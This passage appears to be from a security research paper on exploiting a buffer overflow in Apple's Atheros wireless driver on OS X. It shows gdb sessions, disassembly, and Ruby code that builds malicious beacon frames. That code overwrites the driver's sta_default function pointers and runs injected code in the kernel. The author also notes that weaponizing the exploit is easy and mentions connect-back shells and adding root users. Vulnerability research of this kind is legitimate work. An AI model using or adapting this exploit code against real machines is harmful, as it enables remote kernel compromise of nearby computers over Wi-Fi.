  unsigned long se_lastfail;      /* time of last failure */
  unsigned long se_lastassoc;     /* time of last association */
  u_int se_scangen;               /* iterator scan gen# */
};
```

The `sta_add` function is too long to print here but can be found in the `net80211/ieee80211_scan_sta.c` source file. In this function, an assignment is performed that sets the copy destination for all the beacon data into the base variable from `sta_entry`.

```
ise = &se->base;
```

The `ieee80211_scan_entry` structure is defined as the follows. Note that the Extended Rate buffer is defined as an array with a size of `IEEE80211_RATE_MAXSIZE + 2`. This is much like other buffer overflows where programmers reserve fixed sized buffers in memory to hold variable length data from packets.

```
/*
 * Scan cache entry format used when exporting data from a policy
 * module; this data may be represented some other way internally.
 */
struct ieee80211_scan_entry {
  u_int8_t se_macaddr[IEEE80211_ADDR_LEN];
  u_int8_t se_bssid[IEEE80211_ADDR_LEN];
  u_int8_t se_ssid[2 + IEEE80211_NWID_LEN];
  u_int8_t se_rates[2 + IEEE80211_RATE_MAXSIZE];
  u_int8_t se_xrates[2 + IEEE80211_RATE_MAXSIZE];
  u_int32_t se_rstamp;            /* recv timestamp */
  union {
    u_int8_t data[8];
    u_int64_t tsf;
  } se_tstamp;                    /* from last rcv'd beacon */
  u_int16_t se_intval;            /* beacon interval (host byte order */
  u_int16_t se_capinfo;           /* capabilities (host byte order) */
  struct ieee80211_channel *se_chan;/* channel where sta found */
  u_int16_t se_timoff;            /* byte offset to TIM ie */
  u_int16_t se_fhdwell;           /* FH only (host byte order) */
  u_int8_t se_fhindex;            /* FH only */
  u_int8_t se_erp;                        /* ERP from beacon/probe resp*/
  int8_t se_rssi;                 /* avg'd recv ssi */
  u_int8_t se_dtimperiod;         /* DTIM period */
  u_int8_t *se_wpa_ie;            /* captured WPA ie */
  u_int8_t *se_rsn_ie;            /* captured RSN ie */
  u_int8_t *se_wme_ie;            /* captured WME ie */
  u_int8_t *se_ath_ie;            /* captured Atheros ie */
  u_int se_age;                   /* age of entry (0 on create) */
};
```

IEEE80211_RATE_MAX_SIZE is defined in ieee80211.h as the following:

```
#define    IEEE80211_RATE_MAXSIZE  15    /* max rates we'll handle */
```

The author was initially puzzled because all research to this point showed that the Extended Rate buffer was the culprit but the madwifi source code had a check for a maximum length before the copy happened. At this point, the corruption must have occurred before the sta_add function or the length check did not work as expected. To figure out what might be missing, the author set a break point at the beginning of sta_add and walked through the code. Single-stepping showed that the memcpy was called at 0x008f3188. This was verified by looking at the size and the source being passed to the memcpy. Since the Extended Rate element in a script-generated packet it is noticeably larger than in a typical packet, a conditional breakpoint can be set when the size argument is pushed to the stack for the memcpy. The following debugger output shows how the system behaves when this breakpoint is set:

```
(gdb) break *0x008f3188 if $eax > 100
Breakpoint 2 at 0x8f3188
(gdb) c
Continuing.

Breakpoint 2, 0x008f3188 in sta_add ()
2: x/i $eip  0x8f3188 <sta_add+857>:    mov    DWORD PTR [esp+8],eax
(gdb) stepi
0x008f318c in sta_add ()
2: x/i $eip  0x8f318c <sta_add+861>:    mov    DWORD PTR [esp+4],edx
(gdb)
```

```
0x008f3190 in sta_add ()
2: x/i $eip  0x8f3190 <sta_add+865>:    lea    eax,[esi+63]
(gdb)
0x008f3193 in sta_add ()
2: x/i $eip  0x8f3193 <sta_add+868>:    mov    DWORD PTR [esp],eax
(gdb)
0x008f3196 in sta_add ()
2: x/i $eip  0x8f3196 <sta_add+871>:    call   0x1933c8 <memcpy>
(gdb) x/20x $esp
0xc82badc:      0x03aeb643      0x1e36a046      0x000000f2      0x00000080
0xc82baec:      0x0c82bb24      0x0c82bb04      0x0c82bc8c      0x03800004
0xc82bafc:      0x0393d72c      0x0393d704      0x1e36a00a      0x0380246c
0xc82bb0c:      0x008f2e35      0x00000014      0x00000302      0x0c82bc8c
0xc82bb1c:      0x00000080      0x1e36a138      0x0c82bb84      0x008e8cb9
(gdb) x/20x 0x1e36a046
0x1e36a046:     0x4141f032      0x41414141      0x41414141      0x41414141
0x1e36a056:     0x41414141      0x41414141      0x41414141      0x41414141
0x1e36a066:     0x41414141      0x41414141      0x41414141      0x41414141
0x1e36a076:     0x41414141      0x41414141      0x41414141      0x41414141
0x1e36a086:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb)
```

Based on the location of the `memcpy` call, it is necessary to calculate the relative address within the binary which can be accomplished by doing `0x8f3196  0x8e7000  0x1000 = 0xB196`. The code found within the driver shows that although there is a length check in the open source driver, it's not actually present in the OS X binary driver.

```
__text:0000B177                 mov     ecx, [ebp+scanparam]
__text:0000B17A                 mov     edx, [ecx+28h]
__text:0000B17D                 test    edx, edx
__text:0000B17F                 jz      short loc_B19D
__text:0000B181                 movzx   eax, byte ptr [edx+1]
__text:0000B185                 add     eax, 2
__text:0000B188                 mov     [esp+48h+var_40], eax
__text:0000B18C                 mov     [esp+48h+var_44], edx
__text:0000B190                 lea     eax, [esi+63]
__text:0000B193                 mov     [esp+48h+ic], eax
__text:0000B196                 call    near ptr _memcpy ; xrate memcpy
```

In this example, the copy size is `0xf2` and the "Extended Rate" buffer is being copied. Verifying that there is actually no length check means that adjacent data found within a `ieee80211_scan_entry` is being corrupted, such as another `sta_entry` structure.

This is where the first of two serious problems manifests itself. It is possible to overwrite fields in a structure, but not typical control structures like stack or heap frames that are typically used to gain code execution. This makes direct code execution more difficult.

Chapter 6

Getting Code Execution

The result of this flaw is that many things beyond the Extended Rate buffer in the `ieee80211_scan_entry` structure are corrupted. In a traditional stack overflow, control of execution flow is obtained directly by overwriting an important value, such as the return address. The corruption caused by the "Extended Rate" bug is more complicated due to the apparent lack of adjacent control structures.

The most promising avenue for getting execution can be found in a function named `ath_copy_scan_results`. This function uses the fields that are overwritten to copy memory. An attacker can control the size of the copy and the source of the copy. In addition to crashing reliably on the same data, the size of the `memcpy` is two bytes wide meaning that up to 65535 bytes can be copied. Since the destination of the `memcpy` is a structure that ends with a function pointer, the hope is that enough data can written outside of the destination buffer to the point where the function pointer is overwritten. In this way, the next time the function pointer is called, the caller would instead jump to whatever address is now stored in the function pointer. In other words, this represents a two-stage overwrite. The first overwrite does not provide direct code execution, but it allows an attacker to create a second overwrite that will. The Beacon packet contains a number of buffers one can use for this second-stage overwrite. Thus, an overflow in one buffer in the packet (the Extended Rate IE) allows an attacker to control how a second buffer is copied (in this case, the *Robust Security Network* (RSN) IE). It is the copying of the second buffer that will permit code execution. Below are the registers and the stack trace of a call to the second `memcpy` that is being discussed.

```
(gdb) bt
#0  0x001933de in memcpy_common ()
#1  0x038ce804 in ?? ()
#2  0x008c6083 in sta_iterate ()
#3  0x008e52b7 in AirPort_Athr5424::ieee80211_notify_scan_done ()
#4  0x008e55b9 in AirPort_Athr5424::setSCAN_REQ ()
<edited for length>
(gdb) info registers
eax            0xaca0000        181010432
ecx            0xc98    3224
edx            0x3263   12899
ebx            0x8      8
esp            0xc71b714        0xc71b714
ebp            0xc71b758        0xc71b758
```

```
esi            0x41316341       1093755713
edi            0xaca0000        181010432
eip            0x1933de 0x1933de
eflags         0x10203  66051
cs             0x8      8
ss             0x10     16
ds             0x120010 1179664
es             0xc710010        208732176
fs             0x10     16
gs             0x900048 9437256
(gdb)
```

EDX contains the size of the copy before its loaded into ECX. The bytes in sequence were `0x41 0x63 0x31 0x41 0x32 0x63` meaning that the source address (what is found in ESI) and the copy size are adjacent to one other in the packet. The pattern that overwrote the buffer was also always `0x41` from the start of the "Extended Rate" field in the Beacon packet.

Although this seems like an interesting plan, a call to `IOMalloc` right before the `memcpy` makes sure the destination buffer has enough space for the copy. Additionally, although a copy of up to `0xffff` bytes is possible, it's not actually writing outside of any bounds. The disassembly for the `memcpy` call in `ath_copy_scan_results` is shown below:

```
__text:000260AA                 call    near ptr _IOMalloc
__text:000260AF                 mov     edx, eax
__text:000260B1                 mov     ecx, [ebp+var_1C]
__text:000260B4                 mov     [ecx+88h], eax
__text:000260BA                 test    eax, eax
__text:000260BC                 jz      loc_262C8
__text:000260C2                 movzx   eax, word ptr [esi+84h]
__text:000260C9                 mov     [esp+38h+var_30], eax
__text:000260CD                 mov     eax, [esi+80h]
__text:000260D3                 mov     [esp+38h+var_34], eax
__text:000260D7                 mov     [esp+38h+var_38], edx
__text:000260DA                 call    near ptr _memcpy
```

The author could go on for hours about what other methods also did not work, but what does work seems more interesting. Luckily, almost immediately after the corruption of memory, the driver calls a function named `ieee80211_savie` four times. The purpose of these calls is to save other Information Elements (such as RSN, WME, and WPA) from the Beacon frame into the `sta_entry` structure. The source code from the Madwifi version of `ieee80211_saveie`:

```
void ieee80211_saveie(u_int8_t **iep, const u_int8_t *ie)
{
  u_int ielen = ie[1] + 2;
  /*
  * Record information element for later use.
  */
  if (*iep == NULL || (*iep)[1] != ie[1]) {
    if (*iep != NULL)
      FREE(*iep, M_DEVBUF);
    MALLOC(*iep, void*, ielen, M_DEVBUF, M_NOWAIT);
  }
  if (*iep != NULL)
    memcpy(*iep, ie, ielen);
}
```

A quick synopsis of this function's purpose is that a pointer to a pointer is passed as the address to copy data to. There is some sanity checking to see if the destination address is `NULL` or if the size of the stored buffer at the destination address is different than the one just passed in. If either of these conditions are true, a new buffer is malloced and the `memcpy` works just fine.

Since an attacker can control every element in the structure that's passed in as the place to save the buffer to, the check to see if a malloc should be performed can be avoided and the buffer can be copied anywhere into memory the attacker chooses. This is pretty simple. All that needed is the address the data will be copied to, plus 1, equals the length of the IE buffer that is to be saved.

Although there are countless possibilities for what to overwrite, the target buffer needs to meet a few basic requirements. Preferably, an attacker will overwrite a function pointer. Since it seems that the driver loads at the same address every time, overwriting something that that is a fixed offset inside the driver is preferable to minimize the amount of damage done outside the driver because one will want the machine to keep running long enough to execute a payload.

There is a structure called `sta_default`. This structure keeps function pointers needed to carry out certain elements of driver operations and luckily it appears to be recreated quite often so that any damage done to it could automatically repair itself. Here is the structure from the Madwifi source code:

```
static const struct ieee80211_scanner sta_default = {
  .scan_name             = "default",
  .scan_attach           = sta_attach,
  .scan_detach           = sta_detach,
  .scan_start            = sta_start,
  .scan_restart          = sta_restart,
  .scan_cancel           = sta_cancel,
  .scan_end              = sta_pick_bss,
  .scan_flush            = sta_flush,
  .scan_add              = sta_add,
  .scan_age              = sta_age,
  .scan_iterate          = sta_iterate,
  .scan_assoc_fail       = sta_assoc_fail,
  .scan_assoc_success    = sta_assoc_success,
  .scan_default          = ieee80211_sta_join,
};
```

During actual live debugging its contents can be seen as:

```
(gdb) x/20x sta_default
0x931ee0 <sta_default>: 0x0092e050 0x008f1543 0x008f16c6 0x008f18c7
0x931ef0 <sta_default+16>: 0x008f19b5 0x008f19cc 0x008f2b7d 0x008f1694
0x931f00 <sta_default+32>: 0x008f2e2f 0x008f261e 0x008f20bb 0x008f2188
0x931f10 <sta_default+48>: 0x008f1fd5 0x00000000 0x00000000 0x00000000
0x931f20 <chanflags>: 0x000000a0 0x00000140 0x000000a0 0x000000c0
(gdb)
```

As an initial test, the author overwrote every function pointer in the structure with a pattern such as `0x61413761` (or `aA7a` in ASCII, which is the typical Metasploit buffer padding pattern). A crash dump with an error message about failing to execute code at a bad address like `0x61413761` proves that remote code execution is theoretically possible.

To help better understand this, it is helpful to single-step through the `sta_add` function after sending an Extended Rate IE that is larger than 100 bytes. It is also helpful to then single-step through the function that handles saving the RSN IE buffer from the packet called. Finally, it is useful to single-step through the `ieee80211_saveie` until the size comparison is hit. The kernel should crash the next time any of the overwritten function pointers are called. The code used to generate the packet during this single step is shown below:

```
  ssid  = Rex::Text.rand_text_alphanumeric(rand(255))
  bssid = "\x61\x61\x61" + Rex::Text.rand_text(3)
  seq = [rand(255)].pack('n')
  xrate = make_xrate()
  rsn = make_rsn()
  frame =
    "\x80" +
    "\x00" +
    "\x00\x00" +
    "\xff\xff\xff\xff\xff\xff" +
    bssid +
    bssid +
    seq +
    Rex::Text.rand_text(8) +
    "\xff\xff" +
    Rex::Text.rand_text(2) +
    #ssid tag
    "\x00" + ssid.length.chr + ssid +
    #supported rates
    "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +
    #current channel
    "\x03" + "\x01" + channel.chr +
    #Xrate
    xrate +
    #RSN
    rsn

def make_xrate
  #calculate the offset that RSN needs to overwrite
  staRsnOff = 0x4aee0
  kextAddr = datastore['KEXT_OFF'].to_i
  staStruct = kextAddr + staRsnOff

  #build the xrate_frame
  xrate_build = Rex::Text.pattern_create(240) #base of IE

  #crashes often occur in the following locations so they are blanked
  xrate_build[67, 2]="\x00\x00"
  xrate_build[71, 4]="\x00\x00\x00\x00"
  xrate_build[79, 4]="\x00\x00\x00\x00"

  #Overwrite address for RSN element
  xrate_build[55, 4]=[staStruct].pack('V')
  xrate_frame =
    "\x32" +
    xrate_build.length.chr +
    xrate_build
  return xrate_frame
end
```

```
def make_rsn
  rsn_data = Rex::Text.pattern_Create(223)
  rsn_frame =
    "\x30" +
    rsn_data.length.chr +
    rsn_data
  return rsn_frame
end
```

And the associated single-step through the functions:

```
Breakpoint 4, 0x008f3188 in sta_add ()
2: x/i $eip  0x8f3188 <sta_add+857>:    mov    DWORD PTR [esp+8],eax
(gdb) advance *0x8f32fe
0x008f32fe in sta_add ()
2: x/i $eip  0x8f32fe <sta_add+1231>:   call   0x8f521b <ieee80211_saveie>
(gdb) stepi
0x008f521b in ieee80211_saveie ()
2: x/i $eip  0x8f521b <ieee80211_saveie>:       push   ebp
(gdb)
0x008f521c in ieee80211_saveie ()
2: x/i $eip  0x8f521c <ieee80211_saveie+1>:     mov    ebp,esp
(gdb)
0x008f521e in ieee80211_saveie ()
2: x/i $eip  0x8f521e <ieee80211_saveie+3>:     push   edi
(gdb)
0x008f521f in ieee80211_saveie ()
2: x/i $eip  0x8f521f <ieee80211_saveie+4>:     push   esi
(gdb)
0x008f5220 in ieee80211_saveie ()
2: x/i $eip  0x8f5220 <ieee80211_saveie+5>:     push   ebx
(gdb)
0x008f5221 in ieee80211_saveie ()
2: x/i $eip  0x8f5221 <ieee80211_saveie+6>:     sub    esp,0x2c
(gdb)
0x008f5224 in ieee80211_saveie ()
2: x/i $eip  0x8f5224 <ieee80211_saveie+9>:     mov    edi,DWORD PTR [ebp+8]
(gdb)
0x008f5227 in ieee80211_saveie ()
2: x/i $eip  0x8f5227 <ieee80211_saveie+12>:    mov    eax,DWORD PTR [ebp+12]
(gdb)
0x008f522a in ieee80211_saveie ()
2: x/i $eip  0x8f522a <ieee80211_saveie+15>:    movzx  edx,BYTE PTR [eax+1]
(gdb)
0x008f522e in ieee80211_saveie ()
2: x/i $eip  0x8f522e <ieee80211_saveie+19>:    movzx  ebx,dl
(gdb) info registers
eax            0x1e3ae130       507175216
ecx            0xc8cbc8c        210549900
edx            0xe0     224
ebx            0x388f004        59305988
esp            0xc8cba9c        0xc8cba9c
ebp            0xc8cbad4        0xc8cbad4
esi            0x388f004        59305988
edi            0x388f07c        59306108
eip            0x8f522e 0x8f522e <ieee80211_saveie+19>
```

```
eflags         0x216    534
cs             0x8      8
ss             0x10     16
ds             0x10     16
es             0x190010 1638416
fs             0xc8c0010        210501648
gs             0x48     72
(gdb) stepi
0x008f5231 in ieee80211_saveie ()
2: x/i $eip  0x8f5231 <ieee80211_saveie+22>:    lea    eax,[ebx+2]
(gdb)
0x008f5234 in ieee80211_saveie ()
2: x/i $eip  0x8f5234 <ieee80211_saveie+25>:    mov    DWORD PTR [ebp-28],eax
(gdb)
0x008f5237 in ieee80211_saveie ()
2: x/i $eip  0x8f5237 <ieee80211_saveie+28>:    mov    eax,DWORD PTR [edi]
(gdb)
0x008f5239 in ieee80211_saveie ()
2: x/i $eip  0x8f5239 <ieee80211_saveie+30>:    test   eax,eax
(gdb)
0x008f523b in ieee80211_saveie ()
2: x/i $eip  0x8f523b <ieee80211_saveie+32>:    je     0x8f5254 <ieee80211_saveie+57>
(gdb)
0x008f523d in ieee80211_saveie ()
2: x/i $eip  0x8f523d <ieee80211_saveie+34>:    cmp    dl,BYTE PTR [eax+1]
(gdb) info registers
eax            0x931ee0 9641696
ecx            0xc8cbc8c        210549900
edx            0xe0     224
ebx            0xe0     224
esp            0xc8cba9c        0xc8cba9c
ebp            0xc8cbad4        0xc8cbad4
esi            0x388f004        59305988
edi            0x388f07c        59306108
eip            0x8f523d 0x8f523d <ieee80211_saveie+34>
eflags         0x202    514
cs             0x8      8
ss             0x10     16
ds             0x10     16
es             0x190010 1638416
fs             0xc8c0010        210501648
gs             0x48     72
(gdb) x/20x $eax
0x931ee0 <sta_default>: 0x0092e050      0x008f1543      0x008f16c6      0x008f18c7
0x931ef0 <sta_default+16>:      0x008f19b5      0x008f19cc      0x008f2b7d      0x008f1694
0x931f00 <sta_default+32>:      0x008f2e2f      0x008f261e      0x008f20bb      0x008f2188
0x931f10 <sta_default+48>:      0x008f1fd5      0x00000000      0x00000000   0x00000000
0x931f20 <chanflags>:   0x000000a0      0x00000140      0x000000a0      0x000000c0
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x61413761 in ?? ()
1: x/i $eip  0x61413761:        Disabling display 1 to avoid infinite recursion.
Cannot access memory at address 0x61413761
(gdb) bt
#0  0x61413761 in ?? ()
```

```
#1  0x008e977c in scan_next ()
Previous frame inner to this frame (corrupt stack?)
(gdb)
```

As can be seen above, the kernel attempted to execute an instruction at the invalid address `0x61413761`. This address was provided in the generated packet. While this does not show actual cod execution, it does prove that code execution is possible. An attacker can overwrite every member of that structure with the address to arbitrary memory that is controllable. Since one has to match the size of the base of `sta_default+1`, the buffer needs to be `0xe0` in length. This means that since `sta_default` is 64 bytes, one writes more than is needed. Immediately after `sta_default` in memory is a structure called `chanflags` which is also at a predictable address. To execute code of an attacker's choosing, the remainder of the RSN IE buffer can be packed with nops that will end with `0xcc 0xcc 0xcc 0xcc` which will cause a trap to the debugger making it possible to exam the state and verify code actually executed. (`0xcc` is the machine code for the `int 3` assembly instruction, which causes a processor interrupt that a debugger can safely catch). This is an important step as OS X claims to have NX protection that would prohibit certain memory regions from executing code. Executing a NOP sled then 0xcc will prove that protection technologies like NX do not affect execution in this situation. The following Ruby code shows how the packet described above can be generated:

```
  ssid  = Rex::Text.rand_text_alphanumeric(rand(255))
  bssid = "\x61\x61\x61" + Rex::Text.rand_text(3)
  seq = [rand(255)].pack('n')
  xrate = make_xrate()
  rsn = make_rsn()
  frame =
    "\x80" +
    "\x00" +
    "\x00\x00" +
    "\xff\xff\xff\xff\xff\xff" +
    bssid +
    bssid +
    seq +
    Rex::Text.rand_text(8) +
    "\xff\xff" +
    Rex::Text.rand_text(2) +
    #ssid tag
    "\x00" + ssid.length.chr + ssid +
    #supported rates
    "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +
    #current channel
    "\x03" + "\x01" + channel.chr +
    #Xrate
    xrate +
    #RSN
    rsn

def make_xrate
  #calculate the offset that RSN needs to overwrite
  staRsnOff = 0x4aee0
  kextAddr = datastore['KEXT_OFF'].to_i
  staStruct = kextAddr + staRsnOff

  #build the xrate_frame
  xrate_build = Rex::Text.pattern_create(240) #base of IE
  #crashes often occur in the following locations so they are blanked
  xrate_build[67, 2]="\x00\x00"
  xrate_build[71, 4]="\x00\x00\x00\x00"
  xrate_build[79, 4]="\x00\x00\x00\x00"

  #Overwrite address for RSN element
  xrate_build[55, 4]=[staStruct].pack('V')
  xrate_frame =
    "\x32" +
    xrate_build.length.chr +
    xrate_build
  return xrate_frame
end

def make_rsn
  #calculate the address to overwrite the sta_default
  rsnTargetOff  = 0x4af20
  kextAddr = datastore['KEXT_OFF'].to_i
  rsnOvrAddr = kextAddr + rsnTargetOff

  #need two bytes for alingment
  rsn_pad = "\x00\x00"

  #copy the address of the payload over ever element in sta_default
  rsnAddrTmp=[rsnOvrAddr].pack('V')
  rsn_overwrite_addr = (rsnAddrTmp * 15)
  rsn_code_size = 162
  rsn_code = ("\x90" * rsn_code_size)
  rsn_code[10, 4]="\xcc\xcc\xcc\xcc"

  rsn_build = rsn_pad + rsn_overwrite_addr + rsn_code
  rsn_frame =
    "\x30" +
    rsn_build.length.chr +
    rsn_build
  return rsn_frame
end
```

After firing off this packet, the debugger breaks on a breakpoint trap:

```
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x00931f2b in chanflags ()
2: x/i $eip  0x931f2b <chanflags+11>:   int3
(gdb) info registers
eax            0x931ee0 9641696
ecx            0x431bde83       1125899907
edx            0x0      0
ebx            0x31cf9  204025
esp            0xc863ed8        0xc863ed8
ebp            0xc863f64        0xc863f64
esi            0x380346c        58733676
edi            0x3801004        58724356
```

```
eip            0x931f2b 0x931f2b <chanflags+11>
eflags         0x246    582
cs             0x8      8
ss             0x10     16
ds             0x10     16
es             0xa4810010       -1535049712
fs             0x10     16
gs             0x12260048       304480328
(gdb) x/i $eip
0x931f2b <chanflags+11>:        int3
(gdb) x/i $eip-1
0x931f2a <chanflags+10>:        int3
(gdb) x/i $eip-2
0x931f29 <chanflags+9>: nop
(gdb)
```

The previous instruction was an int 3 and before that was a NOP. This proves that the code execution test was successful. As it stands one needs 64 bytes to overwrite `sta_default` and the RSN buffer has to be 48 bytes long which leaves 160 bytes for first stage shellcode. This is more than enough to locate and execute a second stage.

In other words, the Apple driver will copy five IEs from the original packet. One can cause an overflow in one of these elements, the Extended Rate IE, to overwrite structures that determine how the remaining four elements are copied. The copy of the RSN IE is chosen to make it possible to overwrite function pointers and store a first stage shellcode. The remaining three IEs, roughly 765 bytes in total, can be used to contain the real shellcode that does something useful, such as a connect-back shell, add a root user account, or play fun sounds on the speaker.

Chapter 7

Acknowledgements

The author would like to thank a few different people for the massive amount of help. Jon Ellch taught me how to do wireless injection and driver auditing. His wife explained public key cryptography to me ("You see, its really just a complex math problem with REALLY big numbers"). Josh Wright and Mike Kershaw wrote and released LORCON, which is the basis for everything I have done. Rob Graham is awesome. HD Moore, Matt Miller, and the Metasploit project provide a simple to use, extensible exploit framework that can bring things like driver vulnerabilities to the masses. Porting this exploit to Metasploit was pretty much a snap. Almost all of the Metasploit examples for the Atheros overflow were derived from HD Moore's `fuzz_beacon.rb` script. Rich Mogull provided edits and advice.

Chapter 8

Conclusion

This paper has given a quick walk-through of a real vulnerability in Apple's wireless driver in terms of discovery and exploitation. Getting code execution is only one part of an exploit. To do something useful, an attacker needs kernel-mode shellcode. That subject will be covered in a future paper.

The exploit discussed in this paper is just a proof-of-concept since, as it stands now, one needs to know what the load address of the kernel module on the target machine. This is a choice, not a restriction. This method of gaining execution is well suited to a proof-of-concept. Creation of a weaponized exploit that can execute arbitrary code with no prior knowledge is just as easy. It's just a matter of overwriting different parts of the kernel.

If the reader is interested in OS X kernel shellcode design, be sure to review the example scripts that contain different payloads that could be packed into the RSN IE and other optional elements.

Bibliography

[1] Apple, Inc. *The Universal File Format.* http://developer.apple.com/documentation/DeveloperTools/Conceptual/MachORuntime/Reference/reference.html#//apple_ref/doc/uid/20001298-154889

[2] Apple, Inc. *Lipo man page.* http://developer.apple.com/documentation/Darwin/Reference/ManPages/man1/lipo.1.html

[3] Apple, Inc. *Setting up OS X live kernel Debugging.* http://developer.apple.com/documentation/Darwin/Conceptual/KEXTConcept/KEXTConceptDebugger/hello_debugger.html

[4] Wikipedia. *Graphical OS Kernel Panic.* http://en.wikipedia.org/wiki/Image:MacOSX_kernel_panic.png.

[5] BackTrack. *BackTrack 2.* http://www.remote-exploit.org/backtrack.html

[6] Wikipedia. *LORCON.* http://en.wikipedia.org/wiki/Lorcon

[7] Metasploit. *Metasploit.* http://www.metasploit.com